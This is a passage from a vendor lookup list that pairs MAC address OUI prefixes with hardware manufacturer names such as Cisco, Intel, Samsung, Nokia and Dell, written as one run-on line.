CO.,LTD. 00D05B ACROLOOP MOTION CONTROL 00D0C6 THOMAS & BETTS CORP. 00D02E COMMUNICATION AUTOMATION CORP. 00D0DA TAICOM DATA SYSTEMS CO., LTD. 00D0E8 MAC SYSTEM CO., LTD. 00D03C Vieo, Inc. 00D09F NOVTEK TEST SYSTEMS 00D07E KEYCORP LTD. 00D0EA NEXTONE COMMUNICATIONS, INC. 00D020 AIM SYSTEM, INC. 00D064 MULTITEL 00D072 BROADLOGIC 00309B Smartware 0030AF Honeywell GmbH 003074 EQUIINET LTD. 003090 CYRA TECHNOLOGIES, INC. 003030 HARMONIX CORPORATION 00307C ADID SA 003063 SANTERA SYSTEMS, INC. 00309F AMBER NETWORKS 0030A8 OL'E COMMUNICATIONS, INC. 00304C APPIAN COMMUNICATIONS, INC. 0030EF NEON TECHNOLOGY, INC. 00306F SEYEON TECH. CO., LTD. 003031 LIGHTWAVE COMMUNICATIONS, INC. 003035 Corning Incorporated 00302B INALP NETWORKS, INC. 00305F Hasselblad 00302D QUANTUM BRIDGE COMMUNICATIONS 003025 CHECKOUT COMPUTER SYSTEMS, LTD 003012 DIGITAL ENGINEERING LTD. 003077 ONPREM NETWORKS 0030D4 AAE Systems, Inc. 00D00F SPEECH DESIGN GMBH 00D0CF MORETON BAY 00D073 ACN ADVANCED COMMUNICATIONS 00D030 Safetran Systems Corp 00D057 ULTRAK, INC. 00D03B VISION PRODUCTS PTY. LTD. 00D0BF PIVOTAL TECHNOLOGIES 00D050 ISKRATEL 00D0CB DASAN CO., LTD. 00D0D3 Cisco Systems, Inc 00D08E Grass Valley, A Belden Brand 00D0A3 VOCAL DATA, INC. 00D0E0 DOOIN ELECTRONICS CO. 003054 CASTLENET TECHNOLOGY, INC. 003039 SOFTBOOK PRESS 003017 BlueArc UK Ltd 003076 Akamba Corporation 00305D DIGITRA SYSTEMS, INC. 0030F7 RAMIX INC. 003033 ORIENT TELECOM CO., LTD. 003083 Ivron Systems 003007 OPTI, INC. 0030DD INDIGITA CORPORATION 0030F2 Cisco Systems, Inc 003020 TSI, Inc.. 003089 Spectrapoint Wireless, LLC 003022 Fong Kai Industrial Co., Ltd. 0030F8 Dynapro Systems, Inc. 0030C2 COMONE 003056 Beck IPC GmbH 0030D2 WIN TECHNOLOGIES, CO., LTD. 003050 Versa Technology 0030B8 RiverDelta Networks 00904D SPEC S.A. 009079 ClearOne, Inc. 00908F AUDIO CODES LTD. 0090D5 EUPHONIX, INC. 0090A7 CLIENTEC CORPORATION 00907E VETRONIX CORP. 00902F NETCORE SYSTEMS, INC. 00900D Overland Storage Inc. 009044 ASSURED DIGITAL, INC. 009078 MER TELEMANAGEMENT SOLUTIONS, LTD. 009009 I Controls, Inc. 009015 CENTIGRAM COMMUNICATIONS CORP. 0090F3 ASPECT COMMUNICATIONS 0090A8 NineTiles Networks, Ltd. 00507A XPEED, INC. 005002 OMNISEC AG 00508D ABIT COMPUTER CORPORATION 0050CD DIGIANSWER A/S 0050C5 ADS Technologies, Inc 00502F TollBridge Technologies, Inc. 005028 AVAL COMMUNICATIONS 00505B KAWASAKI LSI U.S.A., INC. 0050F8 ENTREGA TECHNOLOGIES, INC. 00506F G-CONNECT 0050D5 AD SYSTEMS CORP. 0050AA KONICA MINOLTA HOLDINGS, INC. 00509C BETA RESEARCH 005027 GENICOM CORPORATION 005010 NovaNET Learning, Inc. 00509E Les Technologies SoftAcoustik Inc. 00505F BRAND INNOVATORS 005095 PERACOM NETWORKS 005026 COSYSTEMS, INC. 0050EF SPE Systemhaus GmbH 005093 BOEING 0050D8 UNICORN COMPUTER CORP. 009034 IMAGIC, INC. 009073 GAIO TECHNOLOGY 0090C9 DPAC Technologies 0090E7 HORSCH ELEKTRONIK AG 009001 NISHIMU ELECTRONICS INDUSTRIES CO., LTD. 0090FB PORTWELL, INC. 009070 NEO NETWORKS, INC. 0090EF INTEGRIX, INC. 0090B0 VADEM 0090D1 LEICHU ENTERPRISE CO., LTD. 0050D7 TELSTRAT 0050F1 Intel Corporation 00501B ABL CANADA, INC. 005036 NETCAM, LTD. 0050C9 MASPRO DENKOH CORP. 005009 PHILIPS BROADBAND NETWORKS 0050C4 IMD 0050A3 TransMedia Communications, Inc. 005099 3COM EUROPE, LTD. 0050A4 IO TECH, INC. 0050B3 VOICEBOARD CORPORATION 0050B7 BOSER TECHNOLOGY CO., LTD. 00908D VICKERS ELECTRONICS SYSTEMS 009042 ECCS, Inc. 009051 ULTIMATE TECHNOLOGY CORP. 0090FF TELLUS TECHNOLOGY INC. 009018 ITO ELECTRIC INDUSTRY CO, LTD. 009002 ALLGON AB 009016 ZAC 009005 PROTECH SYSTEMS CO., LTD. 00901E Selesta Ingegneria S.p.A. 009090 I-BUS 0090AA INDIGO ACTIVE VISION SYSTEMS LIMITED 00903A NIHON MEDIA TOOL INC. 009055 PARKER HANNIFIN CORPORATION COMPUMOTOR DIVISION 00909F DIGI-DATA CORPORATION 0090E4 NEC AMERICA, INC. 009013 SAMSAN CORP. 009004 3COM EUROPE LTD. 0090E1 TELENA S.P.A. 00504A ELTECO A.S. 00504C Galil Motion Control 005021 EIS INTERNATIONAL, INC. 00506E CORDER ENGINEERING CORPORATION 00507E NEWER TECHNOLOGY 0050E6 HAKUSAN CORPORATION 0050AE FDK Co., Ltd 00109D CLARINET SYSTEMS, INC. 0010D2 NITTO TSUSHINKI CO., LTD 001045 Nortel Networks 00106B SONUS NETWORKS, INC. 0010EC RPCG, LLC 001092 NETCORE INC. 0010E2 ArrayComm, Inc. 001071 ADVANET INC. 001069 HELIOSS COMMUNICATIONS, INC. 0010FD COCOM A/S 0010AC IMCI TECHNOLOGIES 0010EF DBTEL INCORPORATED 001024 NAGOYA ELECTRIC WORKS CO., LTD 0010DD ENABLE SEMICONDUCTOR, INC. 0010C9 MITSUBISHI ELECTRONICS LOGISTIC SUPPORT CO. 001085 POLARIS COMMUNICATIONS, INC. 001044 InnoLabs Corporation 001056 SODICK CO., LTD. 001099 InnoMedia, Inc. 001061 HOSTLINK CORP. 001093 CMS COMPUTERS, LTD. 0010CD INTERFACE CONCEPT 0010F3 Nexcom International Co., Ltd. 001005 UEC COMMERCIAL 001066 ADVANCED CONTROL SYSTEMS, INC. 0010E4 NSI CORPORATION 001062 NX SERVER, ILNC. 0010B9 MAXTOR CORP. 00108B LASERANIMATION SOLLINGER GMBH 00105C QUANTUM DESIGNS (H.K.) LTD. 001042 Alacritech, Inc. 001060 BILLIONTON SYSTEMS, INC. 0010DE INTERNATIONAL DATACASTING CORPORATION 00105D Draeger Medical 0010E1 S.I. TECH, INC. 001091 NO WIRES NEEDED BV 0010F5 AMHERST SYSTEMS, INC. 001090 CIMETRICS, INC. 001070 CARADON TREND LTD. 0010BA MARTINHO-DAVIS SYSTEMS, INC. 00107C P-COM, INC. 0010AE SHINKO ELECTRIC INDUSTRIES CO. 001040 INTERMEC CORPORATION 0010B0 MERIDIAN TECHNOLOGY CORP. 001077 SAF DRIVE SYSTEMS, LTD. 0010F4 Vertical Communications 001065 RADYNE CORPORATION 00104A The Parvus Corporation 0010B3 NOKIA MULTIMEDIA TERMINALS 001037 CYQ've Technology Co., Ltd. 001051 CMICRO CORPORATION 0010DC MICRO-STAR INTERNATIONAL CO., LTD. 0010EE CTI PRODUCTS, INC. 00101B CORNET TECHNOLOGY, INC. 001032 ALTA TECHNOLOGY 001025 Grayhill, Inc 0010F8 TEXIO TECHNOLOGY CORPORATION 00104D SURTEC INDUSTRIES, INC. 00E0E0 SI ELECTRONICS, LTD. 00E0D1 TELSIS LIMITED 00E005 TECHNICAL CORP. 00E072 LYNK 00E0C1 MEMOREX TELEX JAPAN, LTD. 00E0AD EES TECHNOLOGY, LTD. 00E025 dit Co., Ltd. 00E0E4 FANUC ROBOTICS NORTH AMERICA, Inc. 00E031 HAGIWARA ELECTRIC CO., LTD. 00E0A5 ComCore Semiconductor, Inc. 00E044 LSICS CORPORATION 00E05D UNITEC CO., LTD. 00E0B3 EtherWAN Systems, Inc. 00E053 CELLPORT LABS, INC. 00E07D NETRONIX, INC. 00E0ED SILICOM, LTD. 00E0B4 TECHNO SCOPE CO., LTD. 00E0C6 LINK2IT, L.L.C. 00E06D COMPUWARE CORPORATION 00E074 TIERNAN COMMUNICATIONS, INC. 00E059 CONTROLLED ENVIRONMENTS, LTD. 00E006 SILICON INTEGRATED SYS. CORP. 00E0F8 DICNA CONTROL AB 00E004 PMC-SIERRA, INC. 00E0DE DATAX NV 00E078 BERKELEY NETWORKS 00E041 CSPI 00E0E2 INNOVA CORP. 00E02F MCNS HOLDINGS, L.P. 00E04C REALTEK SEMICONDUCTOR CORP. 00E047 InFocus Corporation 00E092 ADMTEK INCORPORATED 00E0FF SECURITY DYNAMICS TECHNOLOGIES, Inc. 08BBCC AK-NORD EDV VERTRIEBSGES. mbH 0060B2 PROCESS CONTROL CORP. 006004 COMPUTADORES MODULARES SA 006000 XYCOM INC. 00A019 NEBULA CONSULTANTS, INC. 00A0ED Brooks Automation, Inc. 00A0A9 NAVTEL COMMUNICATIONS INC. 00A0E1 WESTPORT RESEARCH ASSOCIATES, INC. 00A0D6 SBE, Inc. 00A05E MYRIAD LOGIC INC. 00A078 Marconi Communications 00A00B COMPUTEX CO., LTD. 00A09A NIHON KOHDEN AMERICA 00A095 ACACIA NETWORKS, INC. 00A0F2 INFOTEK COMMUNICATIONS, INC. 00A0EF LUCIDATA LTD. 00A03F COMPUTER SOCIETY MICROPROCESSOR & MICROPROCESSOR STANDARDS C 00A067 NETWORK SERVICES GROUP 00A0A7 VORAX CORPORATION 00A02D 1394 Trade Association 00A0E6 DIALOGIC CORPORATION 00A04A NISSHIN ELECTRIC CO., LTD. 00A05B MARQUIP, INC. 00A08D JACOMO CORPORATION 00A08E Check Point Software Technologies 00E0AA ELECTROSONIC LTD. 00E085 GLOBAL MAINTECH, INC. 00E05A GALEA NETWORK SECURITY 00E0E7 RAYTHEON E-SYSTEMS, INC. 00E00C MOTOROLA 00E04A ZX Technologies, Inc 00E00A DIBA, INC. 00E0B9 BYAS SYSTEMS 00E054 KODAI HITEC CO., LTD. 00E0AF GENERAL DYNAMICS INFORMATION SYSTEMS 00605B IntraServer Technology, Inc. 00604B Safe-com GmbH & Co. KG 00A0CD DR. JOHANNES HEIDENHAIN GmbH 00A0DA INTEGRATED SYSTEMS Technology, Inc. 00A03C EG&G NUCLEAR INSTRUMENTS 00A038 EMAIL ELECTRONICS 00A0BE INTEGRATED CIRCUIT SYSTEMS, INC. COMMUNICATIONS GROUP 00605D SCANIVALVE CORP. 0060E4 COMPUSERVE, INC. 00600A SORD COMPUTER CORPORATION 0060C4 SOLITON SYSTEMS K.K. 0060C8 KUKA WELDING SYSTEMS & ROBOTS 006030 VILLAGE TRONIC ENTWICKLUNG 0060E7 RANDATA 00602A SYMICRON COMPUTER COMMUNICATIONS, LTD. 00601E SOFTLAB, INC. 0060F8 Loran International Technologies Inc. 00609A NJK TECHNO CO. 0060CC EMTRAK, INCORPORATED 006036 AIT Austrian Institute of Technology GmbH 0060B9 NEC Platforms, Ltd 0060CE ACCLAIM COMMUNICATIONS 0060F5 ICON WEST, INC. 0060A4 GEW Technologies (PTY)Ltd 0060CA HARMONIC SYSTEMS INCORPORATED 006024 GRADIENT TECHNOLOGIES, INC. 0060FB PACKETEER, INC. 0060BC KeunYoung Electronics & Communication Co., Ltd. 0060B8 CORELIS Inc. 0060FE LYNX SYSTEM DEVELOPERS, INC. 006001 InnoSys, Inc. 00607D SENTIENT NETWORKS INC. 00606E DAVICOM SEMICONDUCTOR, INC. 00607E GIGALABS, INC. 0060CF ALTEON NETWORKS, INC. 006026 VIKING Modular Solutions 006003 TERAOKA WEIGH SYSTEM PTE, LTD. 006059 TECHNICAL COMMUNICATIONS CORP. 006066 LACROIX Trafic 0060DA Red Lion Controls, LP 006042 TKS (USA), INC. 00A023 APPLIED CREATIVE TECHNOLOGY, INC. 00A00F Broadband Technologies 00A032 GES SINGAPORE PTE. LTD. 002034 ROTEC INDUSTRIEAUTOMATION GMBH 0020B2 GKD Gesellschaft Fur Kommunikation Und Datentechnik 002004 YAMATAKE-HONEYWELL CO., LTD. 0020FE TOPWARE INC. / GRAND COMPUTER 002073 FUSION SYSTEMS CORPORATION 00207A WiSE Communications, Inc. 00205C InterNet Systems of Florida, Inc. 00207E FINECOM CO., LTD. 00205A COMPUTER IDENTICS 0020E4 HSING TECH ENTERPRISE CO., LTD 00A000 CENTILLION NETWORKS, INC. 00A07B DAWN COMPUTER INCORPORATION 00A05C INVENTORY CONVERSION, INC./ 00206F FLOWPOINT CORPORATION 0020DF KYOSAN ELECTRIC MFG. CO., LTD. 002010 JEOL SYSTEM TECHNOLOGY CO. LTD 002020 MEGATRON COMPUTER INDUSTRIES PTY, LTD. 0020A0 OA LABORATORY CO., LTD. 00C0A3 DUAL ENTERPRISES CORPORATION 0070B0 M/A-COM INC. COMPANIES 009D8E CARDIAC RECORDERS, INC. 006086 LOGIC REPLACEMENT TECH. LTD. 001C7C PERQ SYSTEMS CORPORATION 00C059 DENSO CORPORATION 00C0A9 BARRON MCCANN LTD. 00C069 Axxcelera Broadband Wireless 00C019 LEAP TECHNOLOGY, INC. 00A062 AES PRODATA 00A008 NETCORP 00A01B PREMISYS COMMUNICATIONS, INC. 00A04B TFL LAN INC. 00A015 WYLE 00A011 MUTOH INDUSTRIES LTD. 00A0B6 SANRITZ AUTOMATION CO., LTD. 00A0DD AZONIX CORPORATION 00A00A Airspan 00A03B TOSHIN ELECTRIC CO., LTD. 00A0F3 STAUBLI 00A097 JC INFORMATION SYSTEMS 00A082 NKT ELEKTRONIK A/S 00A072 OVATION SYSTEMS LTD. 00A0B2 SHIMA SEIKI 00A0E5 NHC COMMUNICATIONS 00A0D3 INSTEM COMPUTER SYSTEMS, LTD. 00A0BA PATTON ELECTRONICS CO. 00A0B4 TEXAS MICROSYSTEMS, INC. 00A0AF WMS INDUSTRIES 00A0FE BOSTON TECHNOLOGY, INC. 00202F ZETA COMMUNICATIONS, LTD. 002060 ALCATEL ITALIA S.p.A. 00209A THE 3DO COMPANY 00205E CASTLE ROCK, INC. 00207C AUTEC GMBH 002075 MOTOROLA COMMUNICATION ISRAEL 002015 ACTIS COMPUTER SA 0020E9 DANTEL 00204A PRONET GMBH 002029 TELEPROCESSING PRODUCTS, INC. 002051 Verilink Corporation 0020A1 DOVATRON 002024 PACIFIC COMMUNICATION SCIENCES 00209D LIPPERT AUTOMATIONSTECHNIK 002041 DATA NET 002076 REUDO CORPORATION 00206E XACT, INC. 0020CA DIGITAL OCEAN 002085 Eaton Corporation 0020CD HYBRID NETWORKS, INC. 0020E7 B&W NUCLEAR SERVICE COMPANY 0020AC INTERFLEX DATENSYSTEME GMBH 0020F6 NET TEKAND KARLNET, INC. 0020D3 OST (OUEST STANDARD TELEMATIQU 0020D8 Nortel Networks 002017 ORBOTECH 002025 CONTROL TECHNOLOGY, INC. 00C08B RISQ MODULAR SYSTEMS, INC. 00C0CD COMELTA, S.A. 00C04B CREATIVE MICROSYSTEMS 00C0A1 TOKYO DENSHI SEKEI CO. 00C03E FA. GEBR. HELLER GMBH 00C0E1 SONIC SOLUTIONS 00C047 UNIMICRO SYSTEMS, INC. 00C046 Blue Chip Technology Ltd 00C00D ADVANCED LOGIC RESEARCH, INC. 00C0FA CANARY COMMUNICATIONS, INC. 00C0B7 AMERICAN POWER CONVERSION CORP 00C0BA NETVANTAGE 00C0B6 Overland Storage, Inc. 00C048 BAY TECHNICAL ASSOCIATES 00C03F STORES AUTOMATED SYSTEMS, INC. 00C00E PSITECH, INC. 00C036 RAYTECH ELECTRONIC CORP. 00C009 KT TECHNOLOGY (S) PTE LTD 00C0EA ARRAY TECHNOLOGY LTD. 00C03A MEN-MIKRO ELEKTRONIK GMBH 00C040 ECCI 00C04C DEPARTMENT OF FOREIGN AFFAIRS 00C01C INTERLINK COMMUNICATIONS LTD. 00C086 THE LYNK CORPORATION 00C08D TRONIX PRODUCT DEVELOPMENT 00C0A2 INTERMEDIUM A/S 00C070 SECTRA SECURE-TRANSMISSION AB 00C057 MYCO ELECTRONICS 00C0DF KYE Systems Corp. 00C0F6 CELAN TECHNOLOGY INC. 00C012 NETSPAN CORPORATION 00C0C4 COMPUTER OPERATIONAL 00C0C2 INFINITE NETWORKS LTD. 00C0D3 OLYMPUS IMAGE SYSTEMS, INC. 00C0B0 GCC TECHNOLOGIES,INC. 00C0F4 INTERLINK SYSTEM CO., LTD. 00C0E2 CALCOMP, INC. 00C0CA ALFA, INC. 00C07B ASCEND COMMUNICATIONS, INC. 00C052 BURR-BROWN 00C0BE ALCATEL - SEL 00408F WM-DATA MINFO AB 0040B7 STEALTH COMPUTER SYSTEMS 004057 LOCKHEED - SANDERS 004017 Silex Technology America 004087 UBITREX CORPORATION 00400E MEMOTEC, INC. 00C09E CACHE COMPUTERS, INC. 00C093 ALTA RESEARCH CORP. 00C034 TRANSACTION NETWORK 004034 BUSTEK CORPORATION 004097 DATEX DIVISION OF 00401E ICC 00407C QUME CORPORATION 004060 COMENDEC LTD 004056 MCM JAPAN LTD. 004095 R.P.T. INTERGROUPS INT'L LTD. 0040C3 FISCHER AND PORTER CO. 0040F1 CHUO ELECTRONICS CO., LTD. 004061 DATATECH ENTERPRISES CO., LTD. 00408B RAYLAN CORPORATION 004020 CommScope Inc 00406E COROLLARY, INC. 004016 ADC - Global Connectivity Solutions Division 004086 MICHELS & KLEBERHOFF COMPUTER 0040DC TRITEC ELECTRONIC GMBH 004074 CABLE AND WIRELESS 004084 HONEYWELL ACS 0040B8 IDEA ASSOCIATES 004058 KRONOS, INC. 0040A8 IMF INTERNATIONAL LTD. 0080BB HUGHES LAN SYSTEMS 00C0A0 ADVANCE MICRO RESEARCH, INC. 00C0D7 TAIWAN TRADING CENTER DBA 00C037 DYNATEM 00C05F FINE-PAL COMPANY LIMITED 0040CE NET-SOURCE, INC. 004080 ATHENIX CORPORATION 0040BB GOLDSTAR CABLE CO., LTD. 0040B1 CODONICS INC. 00402E PRECISION SOFTWARE, INC. 00C0CE CEI SYSTEMS & ENGINEERING PTE 00409B HAL COMPUTER SYSTEMS INC. 004073 BASS ASSOCIATES 10005A IBM Corp 004005 ANI COMMUNICATIONS INC. 004099 NEWGEN SYSTEMS CORP. 0040E1 MARNER INTERNATIONAL, INC. 0080DD GMX INC/GIMIX 0080B7 STELLAR COMPUTER 008002 SATELCOM (UK) LTD 00805C AGILIS CORPORATION 008070 COMPUTADORAS MICRON 00808F C. ITOH ELECTRONICS, INC. 000091 ANRITSU CORPORATION 000094 ASANTE TECHNOLOGIES 000090 MICROCOM 000047 NICOLET INSTRUMENTS CORP. 0000FB RECHNER ZUR KOMMUNIKATION 0000A3 NETWORK APPLICATION TECHNOLOGY 00008F Raytheon 00007E CLUSTRIX CORPORATION 00000A OMRON TATEISI ELECTRONICS CO. 000063 BARCO CONTROL ROOMS GMBH 00004E AMPEX CORPORATION 0000C2 INFORMATION PRESENTATION TECH. 000034 NETWORK RESOURCES CORPORATION 000049 APRICOT COMPUTERS, LTD 0000E2 ACER TECHNOLOGIES CORP. 0000D4 PURE DATA LTD. 0000E1 GRID SYSTEMS 000044 CASTELLE CORPORATION 000027 JAPAN RADIO COMPANY 004049 Roche Diagnostics International Ltd. 004029 Compex 008038 DATA RESEARCH & APPLICATIONS 008090 MICROTEK INTERNATIONAL, INC. 0080C3 BICC INFORMATION SYSTEMS & SVC 00805A TULIP COMPUTERS INTERNAT'L B.V 0080F0 Panasonic Communications Co., Ltd. 008043 NETWORLD, INC. 0080B0 ADVANCED INFORMATION 008066 ARCOM CONTROL SYSTEMS, LTD. 004051 GRACILIS, INC. 004064 KLA INSTRUMENTS CORPORATION 004028 NETCOMM LIMITED 004013 NTT DATA COMM. SYSTEMS CORP. 0040A0 GOLDSTAR CO., LTD. 0040B2 SYSTEMFORSCHUNG 004071 ATM COMPUTER GMBH 0080BF TAKAOKA ELECTRIC MFG. CO. LTD. 0080F6 SYNERGY MICROSYSTEMS 000058 RACORE COMPUTER PRODUCTS INC. 000050 RADISYS CORPORATION 008082 PEP MODULAR COMPUTERS GMBH 008096 HUMAN DESIGNED SYSTEMS, INC. 0080D5 CADRE TECHNOLOGIES 00803E SYNERNETICS 00809A NOVUS NETWORKS LTD 0080B3 AVAL DATA CORPORATION 0080A3 Lantronix 00803C TVS ELECTRONICS LTD 008061 LITTON SYSTEMS, INC. 0080AD CNET TECHNOLOGY, INC. 008081 KENDALL SQUARE RESEARCH CORP. 008019 DAYNA COMMUNICATIONS, INC. 00808B DACOLL LIMITED 008097 CENTRALP AUTOMATISMES 0080FC AVATAR CORPORATION 008076 MCNC 008080 DATAMEDIA CORPORATION 0000E6 APTOR PRODUITS DE COMM INDUST 000084 SUPERNET 0000FF CAMTEC ELECTRONICS LTD. 00007B RESEARCH MACHINES 000056 DR. B. STRUCK 0000BB TRI-DATA 080025 CONTROL DATA 080020 Oracle Corporation 027001 RACAL-DATACOM 080006 SIEMENS AG 08007E AMALGAMATED WIRELESS(AUS) LTD 080075 DANSK DATA ELECTRONIK 080073 TECMAR INC. 080069 SILICON GRAPHICS INC. 080061 JAROGATE LTD. 08005D GOULD INC. 08004E 3COM EUROPE LTD. 08004A BANYAN SYSTEMS INC. 08004C HYDRA COMPUTER SYSTEMS INC. 080043 PIXEL COMPUTER INC. 08003A ORCATECH INC. 080035 MICROFIVE CORPORATION 080036 INTERGRAPH CORPORATION 08002D LAN-TEC INC. 000025 RAMTEK CORP. 00003A CHYRON CORPORATION 000077 INTERPHASE CORPORATION 000096 MARCONI ELECTRONICS LTD. 000076 ABEKAS VIDEO SYSTEM 0000EA UPNOD AB 000074 RICOH COMPANY LTD. 00006A COMPUTER CONSOLES INC. 0000C4 WATERS DIV. OF MILLIPORE 000006 XEROX CORPORATION 0001C8 THOMAS CONRAD CORP. 00DD0E UNGERMANN-BASS INC. 08008D XYVISION INC. 080059 A/S MYCRON 021C7C PERQ SYSTEMS CORPORATION 100000 Private 080004 CROMEMCO INCORPORATED 00DD07 UNGERMANN-BASS INC. 00003E SIMPACT 04E0C4 TRIUMPH-ADLER AG 040AE0 XMIT AG COMPUTER NETWORKS 080016 BARRISTER INFO SYS CORP 080012 BELL ATLANTIC INTEGRATED SYST. 0001C8 CONRAD CORP. 0000F9 QUOTRON SYSTEMS INC. 0000BF SYMMETRIC COMPUTER SYSTEMS 000085 CANON INC. 000028 PRODIGY SYSTEMS CORPORATION 000012 INFORMATION TECHNOLOGY LIMITED 080085 ELXSI 00005B ELTEC ELEKTRONIK AG 000054 Schneider Electric 0000A9 NETWORK SYSTEMS CORP. 000059 Hellige GMBH 000099 MTX, INC. 0000E9 ISICAD, INC. 08003F FRED KOSCHARA ENTERPRISES 080002 BRIDGE COMMUNICATIONS INC. 08008B PYRAMID TECHNOLOGY CORP. 000002 XEROX CORPORATION 84F6FA Miovision Technologies Incorporated CC3B3E Lester Electrical C05627 Belkin International Inc. 4065A3 Sagemcom Broadband SAS 00789E Sagemcom Broadband SAS 44E9DD Sagemcom Broadband SAS B888E3 COMPAL INFORMATION (KUNSHAN) CO., LTD. 002622 COMPAL INFORMATION (KUNSHAN) CO., LTD. 001EEC COMPAL INFORMATION (KUNSHAN) CO., LTD. DC0EA1 COMPAL INFORMATION (KUNSHAN) CO., LTD. FC4596 COMPAL INFORMATION (KUNSHAN) CO., LTD. 208984 COMPAL INFORMATION (KUNSHAN) CO., LTD. 247C4C Herman Miller 180373 Dell Inc. F8B156 Dell Inc. 1C4024 Dell Inc. F8BC12 Dell Inc. 001B5B 2Wire Inc 002456 2Wire Inc 002351 2Wire Inc 00253C 2Wire Inc 0022A4 2Wire Inc C0830A 2Wire Inc D0431E Dell Inc. 246E96 Dell Inc. 204747 Dell Inc. 4C7625 Dell Inc. B8AC6F Dell Inc. 001EC9 Dell Inc. E09861 Motorola Mobility LLC, a Lenovo Company F4F1E1 Motorola Mobility LLC, a Lenovo Company 60BEB5 Motorola Mobility LLC, a Lenovo Company 7845C4 Dell Inc. B4E1C4 Microsoft Mobile Oy D86C02 Huaqin Telecom Technology Co.,Ltd 0019D2 Intel Corporate 7C5CF8 Intel Corporate 001E67 Intel Corporate 001F3C Intel Corporate 0022FA Intel Corporate 001517 Intel Corporate 00166F Intel Corporate A44E31 Intel Corporate 6C8814 Intel Corporate F81654 Intel Corporate 3413E8 Intel Corporate 34E6AD Intel Corporate FCF8AE Intel Corporate 648099 Intel Corporate 002314 Intel Corporate 4025C2 Intel Corporate 8CA982 Intel Corporate D07E35 Intel Corporate 685D43 Intel Corporate 90E2BA Intel Corporate 0026C7 Intel Corporate 8086F2 Intel Corporate 78FF57 Intel Corporate 20934D FUJIAN STAR-NET COMMUNICATION CO.,LTD 00AA00 Intel Corporation 6CF37F Aruba Networks 605BB4 AzureWave Technology Inc. 9C0E4A Shenzhen Vastking Electronic Co.,Ltd. ACE5F0 Doppler Labs 00F28B Cisco Systems, Inc 5414FD Orbbec 3D Technology International 1C4BD6 AzureWave Technology Inc. 94DBC9 AzureWave Technology Inc. 40E230 AzureWave Technology Inc. 00006E Artisoft Inc. A0F459 FN-LINK TECHNOLOGY LIMITED 0C6AE6 Stanley Security Solutions E874E6 ADB Broadband Italia 00247B Actiontec Electronics, Inc 689C5E AcSiP Technology Corp. 0012CF Accton Technology Corp 0030D3 Agilent Technologies, Inc. 38229D ADB Broadband Italia 002233 ADB Broadband Italia D4D184 ADB Broadband Italia 34C3D2 FN-LINK TECHNOLOGY LIMITED 38E3C5 Taicang T&W Electronics D0E44A Murata Manufacturing Co., Ltd. 9433DD Taco Inc 948815 Infinique Worldwide Inc 3010B3 Liteon Technology Corporation 001802 Alpha Networks Inc. ECCD6D Allied Telesis, Inc. 00225F Liteon Technology Corporation 983B16 AMPAK Technology, Inc. 001A80 Sony Corporation 0024BE Sony Corporation 20689D Liteon Technology Corporation 446D57 Liteon Technology Corporation 44EE02 MTI Ltd. 0026B6 ASKEY COMPUTER CORP B4EEB4 ASKEY COMPUTER CORP FCB4E6 ASKEY COMPUTER CORP F05C19 Aruba Networks 70AAB2 BlackBerry RTS 0026FF BlackBerry RTS 406F2A BlackBerry RTS 002557 BlackBerry RTS 0024FE AVM GmbH 745AAA HUAWEI TECHNOLOGIES CO.,LTD 7C1CF1 HUAWEI TECHNOLOGIES CO.,LTD 00264D Arcadyan Technology Corporation 74A528 HUAWEI TECHNOLOGIES CO.,LTD 30A220 ARG Telecom 783E53 BSkyB Ltd 4CF2BF Cambridge Industries(Group) Co.,Ltd. 70D931 Cambridge Industries(Group) Co.,Ltd. 00E063 Cabletron Systems, Inc. E01D3B Cambridge Industries(Group) Co.,Ltd. D476EA zte corporation 0040FB CASCADE COMMUNICATIONS F05A09 Samsung Electronics Co.,Ltd 503275 Samsung Electronics Co.,Ltd 28CC01 Samsung Electronics Co.,Ltd B46293 Samsung Electronics Co.,Ltd 04FE31 Samsung Electronics Co.,Ltd 845181 Samsung Electronics Co.,Ltd D831CF Samsung Electronics Co.,Ltd F8D0BD Samsung Electronics Co.,Ltd FCC734 Samsung Electronics Co.,Ltd E4B021 Samsung Electronics Co.,Ltd B0EC71 Samsung Electronics Co.,Ltd 3CBBFD Samsung Electronics Co.,Ltd 2CAE2B Samsung Electronics Co.,Ltd C488E5 Samsung Electronics Co.,Ltd 7C9122 Samsung Electronics Co.,Ltd E8B4C8 Samsung Electronics Co.,Ltd 18895B Samsung Electronics Co.,Ltd E0DB10 Samsung Electronics Co.,Ltd E09971 Samsung Electronics Co.,Ltd 6077E2 Samsung Electronics Co.,Ltd 680571 Samsung Electronics Co.,Ltd 6C2F2C Samsung Electronics Co.,Ltd 000136 CyberTAN Technology Inc. F88E85 Comtrend Corporation 300D43 Microsoft Mobile Oy 6C2779 Microsoft Mobile Oy 607EDD Microsoft Mobile Oy F88096 Elsys Equipamentos Eletrônicos Ltda E0B9E5 Technicolor 0CBF15 Genetec Inc. 000B5D FUJITSU LIMITED F4CAE5 FREEBOX SAS 002100 Gemtek Technology Co., Ltd. 002147 Nintendo Co., Ltd. 0022AA Nintendo Co., Ltd. 0022D7 Nintendo Co., Ltd. 002331 Nintendo Co., Ltd. 00241E Nintendo Co., Ltd. 78A2A0 Nintendo Co., Ltd. 001B7A Nintendo Co., Ltd. 40F407 Nintendo Co., Ltd. B8AE6E Nintendo Co., Ltd. 60A8FE Nokia 546751 Compal Broadband Networks, Inc. 84BA3B CANON INC. 0018C5 Nokia Danmark A/S 80501B Nokia Corporation 347E39 Nokia Danmark A/S A87E33 Nokia Danmark A/S 00247D Nokia Danmark A/S 001BAF Nokia Danmark A/S 001C35 Nokia Danmark A/S 001CD4 Nokia Danmark A/S 001979 Nokia Danmark A/S 9C1874 Nokia Danmark A/S 0021FC Nokia Danmark A/S 001F5D Nokia Danmark A/S 0025CF Nokia Danmark A/S 0025D0 Nokia Danmark A/S 001FDE Nokia Danmark A/S 907282 Sagemcom Broadband SAS 006CFD Sichuan Changhong Electric Ltd. 1C234F EDMIEurope Ltd A444D1Wingtech Group (HongKong)Limited 005058 Sangoma Technologies 3482DE Kiio Inc 0008F6 Sumitomo Electric Industries,Ltd 00005F Sumitomo Electric Industries,Ltd A0C589 Intel Corporate 74BFB7 Nusoft Corporation 50DA00 Hangzhou H3C Technologies Co., Limited 9C2A83 Samsung Electronics Co.,Ltd E45D75 Samsung Electronics Co.,Ltd 3CBEE1 NIKON CORPORATION 047E4A moobox CO., Ltd. 2C09CB COBS AB 60ACC8 KunTeng Inc. 0404EA Valens Semiconductor Ltd. 800DD7 Latticework, Inc 402E28 MiXTelematics 18C501 SHENZHEN GONGJIN ELECTRONICS CO.,LT 546D52 TOPVIEW 